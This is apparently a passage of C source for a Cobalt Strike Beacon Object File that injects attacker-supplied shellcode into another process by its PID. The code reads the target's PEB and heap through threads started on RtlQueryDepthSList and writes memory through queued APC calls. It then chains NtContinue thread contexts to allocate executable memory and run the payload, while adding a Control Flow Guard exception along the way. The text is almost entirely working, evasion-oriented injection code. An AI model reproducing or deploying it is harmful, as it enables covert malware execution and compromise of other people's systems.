DWORD retLength;
|
||||
NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), &retLength);
|
||||
return info.PebBaseAddress;
|
||||
}
|
||||
|
||||
LPVOID RemoteAllocation(HANDLE hProc, LPVOID HeapAddr, int sizeofVal, HMODULE module) {
|
||||
LPVOID mallocc = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("msvcrt.dll"), "malloc");
|
||||
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
|
||||
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
|
||||
|
||||
HANDLE hThread = NULL;
|
||||
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, mallocc, (PVOID)sizeofVal, FALSE, 0, 0, 0, NULL);
|
||||
NtWaitForSingleObject(hThread, FALSE, NULL);
|
||||
DWORD ExitCode = 0;
|
||||
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
|
||||
DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode;
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Allocation: %p\n", heapAllocation);
|
||||
return (LPVOID)heapAllocation;
|
||||
}
|
||||
|
||||
void WriteRemoteMemory(HANDLE hProc, LPVOID heapAllocation, int sizeofVal, unsigned char* buffer, HMODULE module) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote %i bytes\n", sizeofVal);
|
||||
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
|
||||
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
|
||||
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
|
||||
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
|
||||
|
||||
LPVOID RtlFillMemory = KERNEL32$GetProcAddress(module, "RtlFillMemory");
|
||||
LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
|
||||
LPVOID RtlInitializeBitMapEx = KERNEL32$GetProcAddress(module, "RtlInitializeBitMapEx");
|
||||
|
||||
HANDLE hThread2 = NULL;
|
||||
NtCreateThreadEx(&hThread2, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0, 0, NULL);
|
||||
int alignmentCheck = sizeofVal % 16;
|
||||
int offsetMax = sizeofVal - alignmentCheck;
|
||||
int firCounter = 0;
|
||||
int eightCounter = 0;
|
||||
int secCounter = 0;
|
||||
int mod = 0;
|
||||
|
||||
if (sizeofVal >= 16) {
|
||||
for (firCounter = 0; firCounter < offsetMax -1; firCounter = firCounter + 16) {
|
||||
char* heapWriter = (char*)heapAllocation + firCounter;
|
||||
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter + 8), (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter));
|
||||
}
|
||||
}
|
||||
|
||||
if (alignmentCheck >= 8) {
|
||||
for (eightCounter = firCounter; (eightCounter + 8) < (firCounter + alignmentCheck -1); eightCounter = eightCounter + 8) {
|
||||
char* heapWriter = (char*)heapAllocation + eightCounter;
|
||||
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, NULL, (PVOID)*(ULONG_PTR*)((char*)buffer + eightCounter));
|
||||
}
|
||||
alignmentCheck -= 8;
|
||||
}
|
||||
|
||||
if (alignmentCheck != 0 && alignmentCheck < 8) {
|
||||
|
||||
if ((firCounter != 0 && eightCounter != 0) || (firCounter != 0 && eightCounter != 0)){
|
||||
secCounter = eightCounter;
|
||||
mod = eightCounter;
|
||||
}
|
||||
else if (firCounter != 0 && eightCounter == 0){
|
||||
secCounter = firCounter;
|
||||
mod = firCounter;
|
||||
}
|
||||
|
||||
for (; secCounter < (mod + alignmentCheck); secCounter++) {
|
||||
char* heapWriter = (char*)heapAllocation + secCounter;
|
||||
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlFillMemory, (PVOID)heapWriter, (PVOID)1, (PVOID)buffer[secCounter]);
|
||||
}
|
||||
}
|
||||
|
||||
NtResumeThread(hThread2, NULL);
|
||||
NtWaitForSingleObject(hThread2, FALSE, NULL);
|
||||
}
|
||||
|
||||
unsigned char* ReadRemoteMemory(HANDLE hProc, LPVOID addrOf, int sizeofVal, HMODULE module) {
|
||||
|
||||
pRtlQueryDepthSList RtlQueryDepthSList = (pRtlQueryDepthSList)KERNEL32$GetProcAddress(module, "RtlQueryDepthSList");
|
||||
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
|
||||
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Read %i bytes\n", sizeofVal);
|
||||
unsigned char* readBytes = (unsigned char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 8);
|
||||
DWORD dwDataLength = sizeofVal;
|
||||
for (DWORD i = 0; i < dwDataLength; i = i + 2)
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, RtlQueryDepthSList, (ULONG_PTR*)((BYTE*)addrOf + i), FALSE, 0, 0, 0, NULL);
|
||||
DWORD ExitCode = 0;
|
||||
NtWaitForSingleObject(hThread, FALSE, NULL);
|
||||
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
|
||||
if (dwDataLength - i == 1)
|
||||
{
|
||||
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 2);
|
||||
}
|
||||
}
|
||||
return readBytes;
|
||||
}
|
||||
|
||||
VOID InjectShellcode(HANDLE hProc, INT64 heapAddress, HMODULE module, char* sc_ptr, SIZE_T sc_len) {
|
||||
|
||||
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
|
||||
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
|
||||
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
|
||||
pNtContinue NtContinue = (pNtContinue)KERNEL32$GetProcAddress(module, "NtContinue");
|
||||
pNtTestAlert NtTestAlert = (pNtTestAlert)KERNEL32$GetProcAddress(module, "NtTestAlert");
|
||||
pNtGetContextThread NtGetContextThread = (pNtGetContextThread)KERNEL32$GetProcAddress(module, "NtGetContextThread");
|
||||
LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
|
||||
LPVOID NTALLOC = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
|
||||
LPVOID wso = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "WaitForSingleObject");
|
||||
|
||||
PCONTEXT ContextRopAlloc = { 0 };
|
||||
PCONTEXT ContextFake = { 0 };
|
||||
PCONTEXT ContextExec = { 0 };
|
||||
PCONTEXT ContextRopcpy = { 0 };
|
||||
|
||||
ContextRopAlloc = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
|
||||
ContextExec = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
|
||||
ContextFake = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
|
||||
ContextRopcpy = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
|
||||
|
||||
HANDLE fakeThread = NULL;
|
||||
NtCreateThreadEx(&fakeThread, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL);
|
||||
ContextFake->ContextFlags = CONTEXT_FULL;
|
||||
|
||||
NtGetContextThread(fakeThread, ContextFake);
|
||||
|
||||
CustomCopy(ContextRopAlloc, ContextFake, sizeof(CONTEXT));
|
||||
ContextRopAlloc->ContextFlags = CONTEXT_FULL;
|
||||
CustomCopy(ContextRopcpy, ContextFake, sizeof(CONTEXT));
|
||||
ContextRopcpy->ContextFlags = CONTEXT_FULL;
|
||||
CustomCopy(ContextExec, ContextFake, sizeof(CONTEXT));
|
||||
ContextExec->ContextFlags = CONTEXT_FULL;
|
||||
|
||||
PCONTEXT contextOfVirtualAlloc = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
|
||||
|
||||
ContextRopAlloc->Rsp -= (ULONG_PTR)0x1000 * 9;
|
||||
ContextRopAlloc->Rip = (ULONG_PTR)NTALLOC;
|
||||
ContextRopAlloc->Rcx = (ULONG_PTR)0x00000000DDDD0000;
|
||||
ContextRopAlloc->Rdx = (ULONG_PTR)sc_len;
|
||||
ContextRopAlloc->R8 = (ULONG_PTR)MEM_COMMIT | MEM_RESERVE;
|
||||
ContextRopAlloc->R9 = (ULONG_PTR)PAGE_EXECUTE_READWRITE;
|
||||
|
||||
WriteRemoteMemory(hProc, contextOfVirtualAlloc, sizeof(CONTEXT), (unsigned char*)ContextRopAlloc, module);
|
||||
WriteRemoteMemory(hProc, (PVOID)ContextRopAlloc->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
|
||||
|
||||
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfVirtualAlloc, NULL, NULL);
|
||||
|
||||
|
||||
PCONTEXT contextOfcpy = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
|
||||
|
||||
ContextRopcpy->Rsp -= (ULONG_PTR)0x1000 * 8;
|
||||
ContextRopcpy->Rip = (ULONG_PTR)wso;
|
||||
ContextRopcpy->Rcx = (ULONG_PTR)(HANDLE)-1;
|
||||
ContextRopcpy->Rdx = (ULONG_PTR)10000;
|
||||
|
||||
WriteRemoteMemory(hProc, contextOfcpy, sizeof(CONTEXT), (unsigned char*)ContextRopcpy, module);
|
||||
WriteRemoteMemory(hProc, (PVOID)ContextRopcpy->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
|
||||
|
||||
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfcpy, NULL, NULL);
|
||||
|
||||
|
||||
PCONTEXT contextOfExec = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
|
||||
|
||||
ContextExec->Rsp -= (ULONG_PTR)0x1000 * 7;
|
||||
ContextExec->Rip = (ULONG_PTR)0x00000000DDDD0000;
|
||||
|
||||
WriteRemoteMemory(hProc, contextOfExec, sizeof(CONTEXT), (unsigned char*)ContextExec, module);
|
||||
WriteRemoteMemory(hProc, (PVOID)ContextExec->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
|
||||
|
||||
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfExec, NULL, NULL);
|
||||
|
||||
NtResumeThread(fakeThread, NULL);
|
||||
|
||||
WriteRemoteMemory(hProc, (LPVOID)0x00000000DDDD0000, sc_len, sc_ptr, module);
|
||||
|
||||
KERNEL32$LocalFree(ContextRopAlloc);
|
||||
KERNEL32$LocalFree(ContextExec);
|
||||
KERNEL32$LocalFree(ContextFake);
|
||||
}
|
||||
|
||||
void go(char *args, int len) {
|
||||
char* sc_ptr;
|
||||
SIZE_T sc_len;
|
||||
DWORD pid;
|
||||
datap parser;
|
||||
HANDLE hProc = NULL;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
pid = BeaconDataInt(&parser);
|
||||
sc_len = BeaconDataLength(&parser) - 4;
|
||||
sc_ptr = BeaconDataExtract(&parser, NULL);
|
||||
HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
LPVOID NtContinue = (LPVOID)KERNEL32$GetProcAddress(hNtdll, "NtContinue");
|
||||
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION, FALSE, pid);
|
||||
|
||||
if (hProc == NULL){
|
||||
BeaconPrintf(CALLBACK_ERROR, "[X] OpenProcess Failed!\n");
|
||||
return;
|
||||
}
|
||||
|
||||
CfgAddressAdd((ULONG_PTR)hNtdll, (ULONG_PTR)NtContinue, hProc, 0x1);
|
||||
KERNEL32$CloseHandle(hProc);
|
||||
hProc = NULL;
|
||||
hProc = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
LPVOID PebAddr = getPeb(hProc, hNtdll);
|
||||
KERNEL32$CloseHandle(hProc);
|
||||
hProc = NULL;
|
||||
hProc = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Peb Address: 0x%p\n", PebAddr);
|
||||
INT64* HeapAddr = (INT64*)ReadRemoteMemory(hProc, (char*)PebAddr + 0x30, 8, hNtdll);
|
||||
INT64 readHeap = *HeapAddr;
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Base Addr: %p\n", readHeap);
|
||||
|
||||
InjectShellcode(hProc, readHeap, hNtdll ,sc_ptr, sc_len);
|
||||
|
||||
KERNEL32$CloseHandle(hProc);
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user